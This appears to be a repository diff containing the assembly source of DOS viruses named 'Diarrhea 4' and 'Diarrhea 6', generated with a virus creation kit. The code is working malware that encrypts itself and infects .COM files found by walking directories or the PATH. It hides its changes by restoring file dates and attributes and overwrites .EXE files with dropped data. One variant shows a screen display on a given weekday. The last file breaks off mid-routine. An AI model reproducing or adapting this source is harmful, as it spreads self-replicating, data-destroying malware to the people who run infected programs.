mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 254h
db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+427
View File
@@ -0,0 +1,427 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 189h
db 0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h
db 065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h
db 02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh
db 06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h
db 069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h
db 020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h
db 06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h
db 020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h
db 053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h
db 075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h
db 02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h
db 000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh
db 021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh
db 021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h
db 041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h
db 0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh
db 0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h
db 04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h
db 0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h
db 0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h
db 011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h
db 067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh
db 0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh
db 05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh
db 0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h
db 080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h
db 0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh
db 021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h
db 0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h
db 0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h
db 087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h
db 0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h
db 0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh
db 0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh
db 003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh
db 021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh
db 003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h
db 0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh
db 006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh
db 000h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+424
View File
@@ -0,0 +1,424 @@
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea si,[di + data00] ; SI points to data
mov cx,0107h ; Second argument is 263
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
end00: call search_files ; Find and infect a file
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
